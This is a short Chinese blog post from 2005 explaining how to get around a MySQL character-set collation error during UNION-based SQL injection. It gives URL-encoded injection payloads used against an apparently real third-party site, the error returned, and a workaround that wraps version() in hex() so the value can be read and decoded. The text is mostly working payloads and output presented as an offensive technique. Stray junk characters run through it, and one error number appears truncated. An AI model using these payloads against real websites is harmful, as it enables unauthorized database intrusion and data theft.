MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
文章性质：原创
- B' ]; K: X0 b2 ]5 O0 W发布日期：2005-10-18
测试个国外的站时：
7 ?0 d4 J# ?# ^url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
- X9 e; }! q  aIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
+ a2 B9 |" E" p/ fMySQL Error No. 126
看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
3 i7 g% ^1 A" z( X1 L$ o解决办法：转为其他编码如hex。
+ ~2 Q# K4 }+ p2 `url：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
342E312E332D62657461
回Mysql查询下得到：
mysql> select 0x342E312E332D62657461;
  g. p8 u/ m* C( F+ N1 s6 F, a+------------------------+
| 0x342E312E332D62657461 |
9 Q( N1 z9 m8 y8 @, M# P6 \+------------------------+
& {# V9 x/ l' B4 ~0 Z3 H| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)
5 v0 w% ~4 ^2 h' f
5 u3 t  Z7 W$ ?) r